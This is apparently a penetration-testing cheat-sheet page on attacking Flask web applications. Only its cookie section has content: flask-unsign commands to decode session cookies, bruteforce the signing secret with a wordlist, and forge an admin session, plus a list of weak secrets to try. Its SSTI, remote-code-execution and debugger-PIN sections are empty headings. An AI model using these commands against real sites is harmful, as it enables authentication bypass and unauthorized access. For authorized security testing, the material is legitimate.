Flask
Python Flask application security testing - cookie manipulation, SSTI, debug mode exploitation.
Cookie/Session Attacks
Flask-Unsign
# Install
pip3 install flask-unsign
# Decode session cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
# Decode from server response
flask-unsign --decode --server 'https://target.com/login'
# Bruteforce secret key
flask-unsign --unsign --cookie 'eyJ...' --wordlist /usr/share/wordlists/rockyou.txt
# Sign new cookie (after obtaining secret)
flask-unsign --sign --cookie "{'logged_in': True, 'user': 'admin'}" --secret 'CHANGEME'
# Common Flask secret keys to try:
# secret, secretkey, password, changeme, development, devkeyCookie Structure
Server-Side Template Injection (SSTI)
Detection
Information Disclosure
File Read
Remote Code Execution
Filter Bypass
Debug Mode Exploitation
Werkzeug Debugger
PIN Calculation
Common Endpoints
Tools
Related Topics
SSTI - Server-side template injection
LFI/RFI - For reading files to calculate PIN
Deserialization - Python pickle attacks
Last updated
Was this helpful?